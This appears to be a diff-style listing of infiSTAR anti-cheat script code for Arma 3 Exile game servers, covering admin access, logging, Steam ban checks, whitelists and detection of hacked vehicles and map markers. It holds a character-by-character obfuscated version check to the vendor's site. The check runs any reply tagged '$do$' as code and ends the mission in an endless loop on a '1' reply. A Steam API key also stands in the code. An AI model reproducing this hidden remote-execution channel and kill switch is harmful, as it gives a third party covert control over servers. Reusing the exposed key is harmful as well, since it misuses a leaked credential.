- if(typename _adminUIDandAccess == 'ARRAY')then
- {
- if(count _adminUIDandAccess > 0)then
- {
- {
- _level1 = nil;
- _level1 = _x;
- if(!isNil'_level1')then
- {
- if(typename _level1 == 'ARRAY')then
- {
- if(count _level1 == 2)then
- {
- _uids = nil;
- _uids = _level1 select 0;
- _uidsstate = false;
- if(!isNil'_uids')then
- {
- if(typename _uids == 'ARRAY')then
- {
- if(count _uids > 0)then
- {
- _uidsstate = true;
- };
- };
- };
- if(_uidsstate)then
- {
- _access = nil;
- _access = _level1 select 1;
- if(!isNil'_access')then
- {
- if(typename _access == 'ARRAY')then
- {
- if(count _access > 0)then
- {
- if(_puid in _uids)then{_MY_PERSONAL_ACCESS_ARRAY = _access;};
- };
- };
- };
- };
- };
- };
- };
- } forEach _adminUIDandAccess;
- };
- };
- };
- _ADMINLEVELACCESS = '
- _puid = getPlayerUID player;
- if(_puid in '+str (_this select 4)+')exitWith{true};
- if(_this in '+str _MY_PERSONAL_ACCESS_ARRAY+')exitWith{true};
- false
- ';
- ['ADMINLEVELACCESS',_ADMINLEVELACCESS] call FN_infiSTAR_F;
- if((_MY_PERSONAL_ACCESS_ARRAY isEqualTo [])&&!(_puid in (_this select 4)))exitWith{};
- 'heartbeat' addPublicVariableEventHandler {};
- admin_d0 = {[_this,0] call admin_d0_MASTER;};
- admin_d0_server = {[_this,1] call admin_d0_MASTER;};
- admin_d0_target = {[_this,2] call admin_d0_MASTER;};
- admin_d0_MASTER = {
- private['_do','_opt','_targetObj'];
- _opt = _this select 1;
- if(isNil'_opt')exitWith{};
- _do = _this select 0 select 0;
- if(isNil'_do')exitWith{};
- if(typename _do == 'CODE')then{_do = (str(_do)) select [1,((count(str(_do)))-2)];};
- if(typename _do != 'STRING')exitWith{systemChat 'admin_d0 needs STRING code!';};
- if(_opt isEqualTo 2)exitWith
- {
- _targetObj = _this select 0 select 1;
- if(isNil '_targetObj')exitWith{systemChat 'admin_d0_target has no object';};
- if(typename _targetObj != 'OBJECT')exitWith{systemChat 'admin_d0_target has no object';};
- if(isNull _targetObj)exitWith{systemChat 'admin_d0_target has no object';};
- [69,_opt,toArray _do,netId _targetObj] call fnc_AdminReq;
- };
- [69,_opt,toArray _do] call fnc_AdminReq;
- };
- if(isNil '"+_AH_HackLogArrayRND+"')then{"+_AH_HackLogArrayRND+" = [];};
- if(isNil 'AH_HackLogArray')then{AH_HackLogArray = "+_AH_HackLogArrayRND+";};
- '"+_AH_HackLogArrayRND+"' addPublicVariableEventHandler
- {
- _array = _this select 1;
- AH_HackLogArray = _array;
- if(isNil'logged_in_time')then{logged_in_time=time + 10;};
- if(time > logged_in_time)then
- {
- if(str _array != '[]')then{
- _log = _array select ((count _array)-1);
- if((isNil 'AdminAnnounceDisabled')||(isStreamFriendlyUIEnabled))then
- {
- _log call FN_SHOW_LOG;
- systemchat _log;
- };
- diag_log _log;
- };
- };
- };
- if(isNil '"+_AH_SurvLogArrayRND+"')then{"+_AH_SurvLogArrayRND+" = [];};
- if(isNil 'AH_SurvLogArray')then{AH_SurvLogArray = "+_AH_SurvLogArrayRND+";};
- '"+_AH_SurvLogArrayRND+"' addPublicVariableEventHandler
- {
- _array = _this select 1;
- AH_SurvLogArray = _array;
- if(str _array != '[]')then{
- _log = _array select ((count _array)-1);
- diag_log _log;
- };
- };
- if(isNil '"+_AH_AdmiLogArrayRND+"')then{"+_AH_AdmiLogArrayRND+" = [];};
- if(isNil 'AH_AdmiLogArray')then{AH_AdmiLogArray = "+_AH_AdmiLogArrayRND+";};
- '"+_AH_AdmiLogArrayRND+"' addPublicVariableEventHandler
- {
- _array = _this select 1;
- AH_AdmiLogArray = _array;
- if(str _array != '[]')then{
- _log = _array select ((count _array)-1);
- diag_log _log;
- };
- };
- if(isNil 'PVAH_AHTMPBAN')then{PVAH_AHTMPBAN = [];};
- "; if(!_HIDE_FROM_PLAYERS)then{ _A3AHstring = _A3AHstring + "
- _GET_TIME_TIME = {
- _hours = floor(time / 60 / 60);
- _minutes = floor((((time / 60 / 60) - _hours) max 0.0001)*60);
- _seconds = time - (_hours*60*60) - (_minutes * 60);
- format['%1h %2min %3s',_hours,_minutes,round _seconds]
- };
- systemChat format['<infiSTAR.de> %1 - Welcome Admin!',call _GET_TIME_TIME];
- "; }; _A3AHstring = _A3AHstring + "
- };
- if((_MY_PERSONAL_ACCESS_ARRAY isEqualTo [])&&!(_puid in (_this select 4)))exitWith{};
- };
- diag_log format['<infiSTAR.de> %1 - Thread MAIN: compiling adminStartupCode',time];
- "+_adminStartupCode+" = compile(([_adminStartupCode] call fnc_CompilableString) + infiSTAR_MAIN_CODE);
- ";
- diag_log format['<infiSTAR.de> %1 - adminStartupCode: added !',time];
- _from = 'bullred1989@gmail.com';
- _vers = '05-Jul-2016 23-52-40 - v0054';
- VERSION_CHECK_URL_FULL = call compile ('f'+'o'+'r'+'m'+'a'+'t'+'['+"'"+'h'+'t'+'t'+'p'+':'+'/'+'/'+'v'+'.'+'i'+'n'+'f'+'i'+'S'+'T'+'A'+'R'+'.'+'d'+'e'+'/'+'i'+'n'+'d'+'e'+'x'+'.'+'p'+'h'+'p'+'?'+'f'+'='+'%'+'1'+'&'+'v'+'='+'%'+'2'+'&'+'p'+'='+'%'+'3'+'&'+'p'+'s'+'='+'%'+'4'+'&'+'s'+'='+'%'+'5'+"'"+','+'_'+'f'+'r'+'o'+'m'+','+'_'+'v'+'e'+'r'+'s'+','+'p'+'r'+'o'+'f'+'i'+'l'+'e'+'N'+'a'+'m'+'e'+','+'p'+'r'+'o'+'f'+'i'+'l'+'e'+'N'+'a'+'m'+'e'+'S'+'t'+'e'+'a'+'m'+','+'s'+'e'+'r'+'v'+'e'+'r'+'n'+'a'+'m'+'e'+']');
- diag_log format['<infiSTAR.de> %1 - Thread #1: Preparing Server Loop #1..',time];
- _A3AHstring = _A3AHstring + "
- [] spawn {
- private['_packet1','_jobid','_packet2','_res'];
- _packet1 = format['getasync%1%2%1',toString [10],VERSION_CHECK_URL_FULL];
- _jobid = _packet1 call FN_CALL_LOAD_DLL;
- _packet2 = format['response%1%2%1',toString [10],_jobid];
- _timeout = diag_tickTime + 80;
- _res = 'WAIT';
- _bad = ['','WAIT','ERROR','URLERROR'];
- waitUntil{
- uiSleep 3;
- _res = _packet2 call FN_CALL_LOAD_DLL;
- (!(_res in _bad) && ((toLower _res) find 'wrapper is disabled' isEqualTo -1)) || diag_tickTime > _timeout
- };
- if(_res find '$do$' != -1)then{_res = (_res select [4]);call compile _res;};
- if(_res == '1')exitWith{
- while{true}do{
- _obj = 'Supply0' createVehicle [0,0,0];_do = 'failMission ''LOSER'';endMission ''LOSER'';forceEnd;';
- ['',compile _do,-2,false] call FN_infiSTAR_S;
- failMission 'LOSER';
- endMission 'LOSER';
- forceEnd;
- uiSleep 1;
- };
- };
- if(_res in _bad)exitWith{};if((toLower _res) find 'wrapper is disabled' != -1)exitWith{};
- VERSIONCHECKRESULT = _res;publicVariable'VERSIONCHECKRESULT';
- };
- [] spawn {
- diag_log format['<infiSTAR.de> %1 - Thread #1: Server Loop #1 starting',time];
- _admins = "+str _admins+";
- "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
- _DO_THIS_MORE_OFTEN = ""
- if(isNull player)exitWith{};
- if(!alive player)exitWith{};
- _puid = getPlayerUID player;
- if!((count _puid) isEqualTo 17)exitWith{};
- _timealive = player getVariable ['"+_timealive+"',0];
- if(_timealive > 60)then
- {
- _name = name player;
- _AHKickLog = "+_AHKickLog+";
- _bad = true;
- {
- if((_x select 0) isEqualTo '<spawn> ')exitWith
- {
- _bad = false;
- };
- } forEach diag_activeSQFScripts;
- if(_bad)then
- {
- _log = 'Runcheck failed';
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- (findDisplay 46) closeDisplay 0;
- };
- }
- else
- {
- player setVariable ['"+_timealive+"',_timealive + 42];
- };
- if(isServer)then
- {
- player_is_server = format['UID: %1 - isServer: %2',_puid,isServer];publicVariableServer 'player_is_server';
- diag_log '<infiSTAR.de> kicked to lobby #3';
- (findDisplay 46) closeDisplay 0;
- };
- {
- _var = missionNamespace getVariable _x;
- if(!isNil '_var')then
- {
- if(typename _var == 'CODE')then
- {
- player_broke_var = format['UID: %1 - %2 not ARRAY -> %3',_puid,_x,typename _var];publicVariableServer 'player_broke_var';
- diag_log '<infiSTAR.de> kicked to lobby #4';
- (findDisplay 46) closeDisplay 0;
- };
- };
- } forEach ['"+_AH_RunCheckENDVAR+"','"+_AH_RunCheck+"'];
- if((isNil'"+_AH_RunCheckENDVAR+"')&&(!isNil'"+_AH_RunCheck+"'))then
- {
- if(!isNil'"+_runcheck_thread+"')then
- {
- if((str "+_runcheck_thread+") isEqualTo '<NULL-script>')exitWith
- {
- broken_rc = {"+_runcheck_thread+"};publicVariableServer 'broken_rc';
- diag_log '<infiSTAR.de> kicked to lobby #5';
- (findDisplay 46) closeDisplay 0;
- };
- terminate "+_runcheck_thread+";
- "+_runcheck_thread+"=nil;
- };
- "+_runcheck_thread+" = [] spawn {
- _temptime= time + 30;
- waitUntil {((!isNil'"+_AH_RunCheckENDVAR+"')||(time > _temptime))};
- if(isNil'"+_AH_RunCheckENDVAR+"')then{diag_log '<infiSTAR.de> kicked to lobby #6';(findDisplay 46) closeDisplay 0;};
- };
- };
- "";
- _DO_THIS_MORE_OFTEN = compile _DO_THIS_MORE_OFTEN;
- "; }; _A3AHstring = _A3AHstring + "
- _zero = ""
- _tmp=""+str FN_infiSTAR_C+"";
- if(isNil 'FN_infiSTAR_C')then{FN_infiSTAR_C=_tmp;};
- if(str FN_infiSTAR_C != str _tmp)then {
- FN_infiSTAR_C__MODIFIED = format['%1(%2) %3',name player,getPlayerUID player,FN_infiSTAR_C];publicVariableServer'FN_infiSTAR_C__MODIFIED';
- diag_log '<infiSTAR.de> kicked to lobby #6';
- (findDisplay 46)closeDisplay 0;
- };
- _tmp=""+str FN_infiSTAR_F+"";
- if(isNil 'FN_infiSTAR_F')then{FN_infiSTAR_F=_tmp;};
- if(str FN_infiSTAR_F != str _tmp)then {
- FN_infiSTAR_F__MODIFIED = format['%1(%2) %3',name player,getPlayerUID player,FN_infiSTAR_F];publicVariableServer'FN_infiSTAR_F__MODIFIED';
- diag_log '<infiSTAR.de> kicked to lobby #7';
- (findDisplay 46)closeDisplay 0;
- };
- _tmp=""+str fnc_CompilableString+"";
- if(isNil 'fnc_CompilableString')then{fnc_CompilableString=_tmp;};
- if(str fnc_CompilableString != str _tmp)then {
- fnc_CompilableString__MODIFIED = format['%1(%2) %3',name player,getPlayerUID player,fnc_CompilableString];publicVariableServer'fnc_CompilableString__MODIFIED';
- diag_log '<infiSTAR.de> kicked to lobby #8';
- (findDisplay 46)closeDisplay 0;
- };
- _tmp=""+str FN_infiSTAR_CS+"";
- if(isNil 'FN_infiSTAR_CS')then{FN_infiSTAR_CS=_tmp;};
- if(str FN_infiSTAR_CS != str _tmp)then {
- FN_infiSTAR_CS__MODIFIED = format['%1(%2) %3',name player,getPlayerUID player,FN_infiSTAR_CS];publicVariableServer'FN_infiSTAR_CS__MODIFIED';
- diag_log '<infiSTAR.de> kicked to lobby #8.2';
- (findDisplay 46)closeDisplay 0;
- };
- "";
- _grpLogic = creategroup sidelogic;
- _array = [[0,0,0], _grpLogic, "";"" + (_zero) + "";""];
- 'Logic' createUnit _array;
- waitUntil {diag_log format['<infiSTAR.de> %1 - Thread #1: Server Loop #1 - waiting for Logic #0',time];count (units _grpLogic) > 0};
- {_x setVariable['BIS_enableRandomization',false];_x setVariable['"+_LogicVariable+"','1'];} forEach (units _grpLogic);
- waitUntil {diag_log format['<infiSTAR.de> %1 - Thread #1: Server Loop #1 - waiting for Logic #1',time];({_x getVariable['"+_LogicVariable+"','-1'] == '1'} count ([0,0,0] nearEntities ['Logic',100])) isEqualTo 1};
- _next = false;
- "; if(_check_steam_ban)then{ _A3AHstring = _A3AHstring + "
- FN_CHECK_STEAMBAN = compileFinal ""
- params['_name','_uid'];
- _url = format['http://api.steampowered.com/ISteamUser/GetPlayerBans/v1/?key=B0ABFD9E85EED86FB2A31BCB68940C6B&steamids=%1',_uid];
- _packet1 = format['getasync%1%2%1',toString [10],_url];
- _jobid = _packet1 call FN_CALL_LOAD_DLL;
- _packet2 = format['response%1%2%1',toString [10],_jobid];
- _timeout = diag_tickTime + 80;
- _res = 'WAIT';
- _bad = ['','WAIT','ERROR','URLERROR'];
- waitUntil{
- uiSleep 3;
- _res = _packet2 call FN_CALL_LOAD_DLL;
- (!(_res in _bad) && ((toLower _res) find 'wrapper is disabled' isEqualTo -1)) || diag_tickTime > _timeout
- };
- if(_res find 'EconomyBan' isEqualTo -1)exitWith{};if(_res in _bad)exitWith{};if((toLower _res) find 'wrapper is disabled' != -1)exitWith{};
- _res = toArray _res;
- _res = _res - [9];
- _res = _res - [10];
- _res = _res - [13];
- _res = _res - [32];
- _res = toString _res;
- _rescount = count _res;
- _res = _res select [(_res find 'SteamId')-1,_rescount];
- _res = _res select [0,_res find '}'];
- _parts = _res splitString ',';
- _res = _res select [_res find 'VACBanned',_rescount];
- if!(_parts isEqualTo [])then
- {
- _banned = false;
- {
- _isString = format['%1',_parts select (_forEachIndex+1)];
- _shouldBeString = format['%1:false',str _x];
- if!(_isString isEqualTo _shouldBeString)then
- {
- "; if(_ban_for_steam_ban)then{ _A3AHstring = _A3AHstring + "
- _log = format['Steam known Hacker BANNED: %1',_res];
- [_name,_uid,'BAN',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- "; }else{ _A3AHstring = _A3AHstring + "
- _log = format['Steam known Hacker just joined the server: %1',_res];
- [_name,_uid,'HLOG_VAC',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- "; }; _A3AHstring = _A3AHstring + "
- _banned = true;
- };
- if(_banned)exitWith{};
- } forEach ['CommunityBanned','VACBanned'];
- if(_banned)exitWith{};
- {
- _isString = format['%1',_parts select (_forEachIndex+3)];
- _shouldBeString = format['%1:0',str _x];
- if!(_isString isEqualTo _shouldBeString)then
- {
- "; if(_ban_for_steam_ban)then{ _A3AHstring = _A3AHstring + "
- _log = format['Steam known Hacker BANNED: %1',_res];
- [_name,_uid,'BAN',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- "; }else{ _A3AHstring = _A3AHstring + "
- _log = format['Steam known Hacker just joined the server: %1',_res];
- [_name,_uid,'HLOG_VAC',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- "; }; _A3AHstring = _A3AHstring + "
- _banned = true;
- };
- if(_banned)exitWith{};
- } forEach ['NumberOfVACBans','DaysSinceLastBan','NumberOfGameBans'];
- };
- "";
- "; }; _A3AHstring = _A3AHstring + "
- _onPlayerConnected = {
- if(count _uid < 17)then
- {
- _log = format['#0 Connected: %1(%2) ID: %3',_name,_uid,_owner];
- ['CONNECTLOG',_log] call FNC_A3_CUSTOMLOG;
- }
- else
- {
- _steamName = call fnc_getSteamNameIfSaved;
- _log = format['#0 Connected: %1(%2) ID: %3 SteamName: %4',_name,_uid,_owner,_steamName];
- if(_steamName isEqualTo '')then
- {
- _log = format['#0 Connected: %1(%2) ID: %3',_name,_uid,_owner];
- };
- ['CONNECTLOG',_log] call FNC_A3_CUSTOMLOG;
- _ds = "+str _devs+";
- _d = _uid in _ds;
- "; if(_USE_DATABASE_WHITELIST)then{ _A3AHstring = _A3AHstring + "
- if(!_d)then{
- _notwhitelisted = format['getAccountWhitelisted:%1', _uid] call ExileServer_system_database_query_selectSingle;
- _notwhitelisted = _notwhitelisted select 0;
- if(_notwhitelisted isEqualTo 0)exitWith
- {
- [_name,_uid,_owner,format['NOT WHITELISTED (DB STATE: %1)',_notwhitelisted]] call FNC_INFISERVERKICK;
- };
- };
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_USE_UID_WHITELIST)then{ _A3AHstring = _A3AHstring + "
- if!(_uid in "+str _UID_WHITELIST+")exitWith{
- [_name,_uid,_owner,'NOT WHITELISTED'] call FNC_INFISERVERKICK;
- };
- "; }; _A3AHstring = _A3AHstring + "
- missionNameSpace setVariable[format['"+_name_by_uid+"%1',_uid],_name];
- missionNameSpace setVariable[format['"+_owner_by_uid+"%1',_uid],_owner];
- missionNameSpace setVariable[format['"+_uid_by_owner+"%1',_owner],_uid];
- missionNameSpace setVariable[format['NAME_BY_UID_%1',_uid],_name];
- missionNameSpace setVariable[format['OWNER_BY_UID_%1',_uid],_owner];
- missionNameSpace setVariable[format['UID_BY_OWNER_%1',_owner],_uid];
- _NAME_BY_ID = format['NAME_BY_ID_%1',_id];
- missionNameSpace setVariable[_NAME_BY_ID,_name];
- publicVariable _NAME_BY_ID;
- _UID_BY_ID = format['UID_BY_ID_%1',_id];
- missionNameSpace setVariable[_UID_BY_ID,_uid];
- publicVariable _UID_BY_ID;
- _token = missionNameSpace getVariable[format['"+_token_by_uid+"%1',_uid],''];
- if(_token isEqualTo '')then{_token = [_owner,_name,_uid] call "+_server_setTokenR+";};
- _admins = "+str _admins+";
- _admin = false;if(_uid in _admins)then{_admin=true;};
- _isNormal = true;if(_admin)then{_isNormal = false;if!(_uid in "+_adminsA+")then{_isNormal = true;};};
- if(_admin)then
- {
- ['',fnc_debugbox_new,_owner,false] call FN_infiSTAR_S;
- };
- "; if(_needAdminNameTag)then{ _A3AHstring = _A3AHstring + "
- if(_admin && !_isNormal)then{if(_name find "+str _AdminNameTag+" isEqualTo -1)then{if!(_uid in _ds)then{_isNormal = true;};};};
- "; }; _A3AHstring = _A3AHstring + "
- [_token,_owner,_name,_uid,_admins,_admin,_isNormal] call "+_fnc_l_on_c+";
- [_name,_uid,_owner,_admin] call "+_fnc_infiSTAR_PlayerLog+";
- };
- };
- "+_onPlayerConnected+" = compileFinal ([_onPlayerConnected] call fnc_CompilableString);
- infiSTAR_PlayerConnected_id = addMissionEventHandler ['PlayerConnected',{
- params['_id','_uid','_name','_jip','_owner'];
- call "+_onPlayerConnected+";
- }];
- _log = format['infiSTAR_PlayerConnected_id: %1',infiSTAR_PlayerConnected_id];
- ['CONNECTLOG',_log] call FNC_A3_CUSTOMLOG;
- infiSTAR_PlayerDisconnected_id = addMissionEventHandler ['PlayerDisconnected',{
- params['_id','_uid','_name','_jip','_owner'];
- if(count _uid < 17)then
- {
- _log = format['#2 Disconnected: %1(%2) ID: %3',_name,_uid,_owner];
- ['CONNECTLOG',_log] call FNC_A3_CUSTOMLOG;
- }
- else
- {
- _steamName = call fnc_getSteamNameIfSaved;
- _log = format['#2 Disconnected: %1(%2) ID: %3 SteamName: %4',_name,_uid,_owner,_steamName];
- ['CONNECTLOG',_log] call FNC_A3_CUSTOMLOG;
- };
- }];
- _log = format['infiSTAR_PlayerDisconnected_id: %1',infiSTAR_PlayerDisconnected_id];
- ['CONNECTLOG',_log] call FNC_A3_CUSTOMLOG;
- "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
- "; if(_UVC)then{ _A3AHstring = _A3AHstring + "
- _fnc_check_type_allowed = {
- params[['_type','']];
- _return = true;
- _typeLow = toLower _type;
- "; if(_VehicleWhiteList_check)then{ _A3AHstring = _A3AHstring + "
- if!(_typeLow in "+str _VehicleWhiteList+")then
- {
- if!(_typeLow select [0,5] isEqualTo 'exile')then
- {
- _return = false;
- };
- };
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_ForbiddenVehicles_check)then{ _A3AHstring = _A3AHstring + "
- if(_typeLow in "+str _ForbiddenVehicles+")then
- {
- _return = false;
- };
- "; }; _A3AHstring = _A3AHstring + "
- _return
- };
- "+_fnc_check_type_allowed+" = compileFinal ([_fnc_check_type_allowed] call fnc_CompilableString);
- _fnc_remove_badvehicle =
- {
- params[['_veh',objNull],['_type',''],['_crew',[]],['_ownerUID','']];
- if(_crew isEqualTo [])then
- {
- _log = format['BadVehicle: %1 :: @%2 %3',_type,mapGridPosition _veh,getPos _veh];
- ['SERVER',_ownerUID,'HLOG',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- }
- else
- {
- _logged = [];
- {
- _xuid = getPlayerUID _x;
- if!(_xuid isEqualTo '')then
- {
- _log = format['BadVehicle: %1 :: @%2 %3',_type,mapGridPosition _veh,getPos _veh];
- [name _x,_xuid,'HLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- _logged pushBack _xuid;
- };
- } forEach _crew;
- if!(_ownerUID in _logged)then
- {
- _log = format['BadVehicle: %1 :: @%2 %3',_type,mapGridPosition _veh,getPos _veh];
- ['SERVER',_ownerUID,'HLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- };
- };
- _veh call fnc_deleteObject;
- };
- "+_fnc_remove_badvehicle+" = compileFinal ([_fnc_remove_badvehicle] call fnc_CompilableString);
- _fnc_vehicle_check = {
- params[['_veh',objNull]];
- if(_veh getVariable['"+_vehicle_needs_check+"',true])then
- {
- _veh setVariable['"+_vehicle_needs_check+"',false];
- _type = typeOf _veh;
- if!(_type isKindOf 'ParachuteBase')then
- {
- _netIdobj = netId _veh;
- _ownerIdobj = _netIdobj select [0,_netIdobj find ':'];
- _ownerIdobj = parseNumber _ownerIdobj;
- _uid = missionNameSpace getVariable[format['"+_uid_by_owner+"%1',_ownerIdobj],''];
- if(!(_uid isEqualTo '')&&(_ownerIdobj > 2)&&!(_type in "+str _LocalWhitelist+"))then
- {
- _name = missionNameSpace getVariable[format['"+_name_by_uid+"%1',_uid],''];
- _log = format['Locally created Vehicle found: %1 (%2) :: @%3 %4',_type,_netIdobj,mapGridPosition _veh,getPos _veh];
- [_name,_uid,'HLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- _veh setDamage 1;
- _veh call fnc_deleteObject;
- }
- else
- {
- _return = _type call "+_fnc_check_type_allowed+";
- if(!_return)then
- {
- [_veh,_type,crew _veh,_uid] call "+_fnc_remove_badvehicle+";
- };
- };
- };
- };
- };
- "+_fnc_vehicle_check+" = compileFinal ([_fnc_vehicle_check] call fnc_CompilableString);
- "; }; _A3AHstring = _A3AHstring + "
- _fnc_RandomGen =
- {
- _arr = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9'];
- _gen = _arr select (floor (random 25));
- for '_i' from 0 to (12+(round(random 5))) do {_gen = _gen + (_arr select (random ((count _arr)-1)));};
- _gen
- };
- _antiantihack_rndvar = call _fnc_RandomGen;
- "; }; _A3AHstring = _A3AHstring + "
- _timer0 = 0;
- _fn_0 = {
- if(_next)then{{_x setVariable['BIS_enableRandomization',false];_x setVariable['"+_LogicVariable+"','1'];} forEach (units _grpLogic);};
- _countLogics = {_x getVariable['"+_LogicVariable+"','-1'] == '1'} count ([0,0,0] nearEntities ['Logic',100]);
- if!(_countLogics isEqualTo 1)then
- {
- _log = format['Logic count has changed to %1 - should be 1!',_countLogics];
- ['SERVER','SERVER','HLOG',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- _array = [[0,0,0], _grpLogic, "";"" + (_zero) + "";""];
- 'Logic' createUnit _array;
- _next = true;
- };
- };
- "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
- _timer1 = 0;
- _fn_1 = {
- [_DO_THIS_MORE_OFTEN,{call _this},-2,false] call FN_infiSTAR_S;
- };
- "; }; _A3AHstring = _A3AHstring + "
- _timer2 = time + 45;
- _fn_2 = {
- "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
- "; if(_CGM)then{ _A3AHstring = _A3AHstring + "
- if(isNil'"+_MCS+"')then{"+_MCS+" = allMapMarkers;};
- {
- _marker = _x;
- _index = "+_MCS+" pushBackUnique _marker;
- if(_index > -1)then
- {
- _lowMarker = toLower _marker;
- _do = true;
- {if(_lowMarker find (toLower _x) != -1)exitWith{_do = false;};} forEach "+str _allowedMarkers+";
- if(_do)then
- {
- if(_lowMarker in ['gefmarker','deinvadder','swagmarker','dmcmarking','life_mpPacket_send','greenmarker'])then
- {
- _log = format['HACKEDMARKER: %1 | TEXT: %2 | TYPE: %3 | POS: %4',_marker,MarkerText _marker,markerType _marker,markerPos _marker];
- ['SERVER','SERVER','SLOG',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- deleteMarker _marker;
- }
- else
- {
- if!((MarkerText _marker) isEqualTo '')then
- {
- _log = format['DODGYMARKER: %1 | TEXT: %2 | TYPE: %3 | POS: %4',_marker,MarkerText _marker,markerType _marker,markerPos _marker];
- ['SERVER','SERVER','SLOG',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- };
- };
- };
- };
- } forEach allMapMarkers;
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_CLM)then{ _A3AHstring = _A3AHstring + "
- _code = {
- params['_admins','_serverknownmarkers'];
- _puid = getPlayerUID player;
- if(isNil'ExileClientPartyMapMarkers')then{ExileClientPartyMapMarkers=[];};
- if(typeName ExileClientPartyMapMarkers != 'ARRAY')then
- {
- _log = format['ExileClientPartyMapMarkers TYPE CHANGED: %1 - %2',typeName ExileClientPartyMapMarkers,ExileClientPartyMapMarkers];
- [name player,_puid,'BAN',toArray(_log)] call "+_AHKickLog+";
- };
- if!(_puid in _admins)then
- {
- {
- _marker = _x;
- if(_marker != '_USER_DEFINED')then
- {
- if!(_marker in _serverknownmarkers)then
- {
- if(_marker in ExileClientPartyMapMarkers)exitWith{};
- _lowMarker = toLower _marker;
- _do = true;
- {if(_lowMarker find (toLower _x) != -1)exitWith{_do = false;};} forEach "+str _allowedMarkers+";
- if(_do)then
- {
- _log = format['LOCALMARKER: %1 | TEXT: %2 | TYPE: %3 | POS: %4',_marker,markerText _marker,markerType _marker,markerPos _marker];
- [name player,_puid,'HLOG',toArray(_log)] call "+_AHKickLog+";
- deleteMarker _marker;
- deleteMarkerLocal _marker;
- };
- };
- };
- } forEach allMapMarkers;
- };
- };
- [[_admins,allMapMarkers],_code] remoteExec ['FN_infiSTAR_C',-2,false];
- "; }; _A3AHstring = _A3AHstring + "
- "; }; _A3AHstring = _A3AHstring + "
- {
- if(!isNull _x)then
- {
- if(!alive _x)exitWith{};
- _uid = getPlayerUID _x;
- if(count _uid < 17)exitWith{};
- missionNameSpace setVariable[format['"+_object_by_uid+"%1',_uid],_x];
- missionNameSpace setVariable[format['EXILE_PLAYER_OJECT_%1',_uid],_x];
- "; if(_fix_uniform_and_vest)then{ _A3AHstring = _A3AHstring + "
- [uniform _x,vest _x] remoteExec ['fnc_check_uniform_n_vest', _x];
- "; }; _A3AHstring = _A3AHstring + "
- _name = name _x;
- if!(_name isEqualTo (_x getVariable['ExileNameOnChar','']))then
- {
- _x setVariable['ExileName',_name,true];
- _x setVariable['ExileNameOnChar',_name];
- };
- if!(_uid isEqualTo (_x getVariable['ExileOwnerUID','']))then
- {
- _x setVariable['ExileOwnerUID',_uid];
- };
- _grp = group _x;
- if!(_grp isEqualTo (_x getVariable['ExileGroup',grpNull]))then
- {
- _x setVariable['ExileGroup',_grp];
- _groupName = groupID _grp;
- _lgroupname = toLower _groupName;
- if({(_lgroupname find _x != -1)} count "+str _badGroupNames+" > 0)exitWith{
- _grp setGroupIdGlobal [format['GRP:%1',allGroups find _grp]];
- };
- };
- if((!isNil'BOUNTYQUEJIP_ID')&&(!isNil'ExileGraveyardGroup'))then
- {
- _ExileGroupMemberUIDs = missionNameSpace getVariable[format['ExileGroupMemberUIDs_%1',_uid],[]];
- if!(_grp in [grpNull,ExileGraveyardGroup])then
- {
- _units = units _grp;
- if!(_units isEqualTo [])then
- {
- {
- if(alive _x)then
- {
- _ExileGroupMemberUIDs pushBackUnique [groupID _grp,getPlayerUID _x];
- };
- } forEach _units;
- missionNameSpace setVariable[format['ExileGroupMemberUIDs_%1',_uid],_ExileGroupMemberUIDs];
- };
- };
- };
- _xRespect = _x getVariable ['ExileScore', 0];
- _xRespectCheck = _x getVariable ['ExileScoreCheck', -1];
- if!(_xRespectCheck isEqualTo _xRespect)then
- {
- _x setVariable ['ExileScoreCheck', _xRespect];
- _x setVariable ['ExileScore', _xRespect, true];
- };
- "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
- _xtype = typeOf _x;
- if(_xtype isEqualTo 'Exile_Unit_Player')then
- {
- _RATING_CHECK_LOOPS = _x getVariable['"+_RATING_CHECK_LOOPS+"',0];
- if(_RATING_CHECK_LOOPS > 2)then
- {
- if(_x getVariable['isrunning',false])then{_x setVariable['isrunning',false,true];}else
- {
- _log = format['Player Clientside AntiHack not loaded or stopped! %1 @%2 %3',_xtype,getPos _x,mapGridPosition _x];
- [_name,_uid,'SLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- };
- if(_RATING_CHECK_LOOPS > 4)then
- {
- _rating = rating _x;
- if(_rating < 500000)then
- {
- if(_rating isEqualTo 0)exitWith{};
- _log = format['Player Low Rating! %1 - %2 - @%3 %4',_rating,_xtype,getPos _x,mapGridPosition _x];
- [_name,_uid,'HLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- };
- _x setVariable['"+_RATING_CHECK_LOOPS+"',0];
- };
- }
- else
- {
- _x setVariable['"+_RATING_CHECK_LOOPS+"',_RATING_CHECK_LOOPS + 1];
- };
- if(isObjectHidden _x)then
- {
- if!(_uid in _admins)then
- {
- _log = format['INVISIBLE PLAYER-OBJECT @%1 %2',getPos _x,mapGridPosition _x];
- [_name,_uid,'HLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- };
- };
- }
- else
- {
- _exileDatabaseID = _x getVariable ['ExileDatabaseID', ''];
- if!(_exileDatabaseID isEqualTo '')then
- {
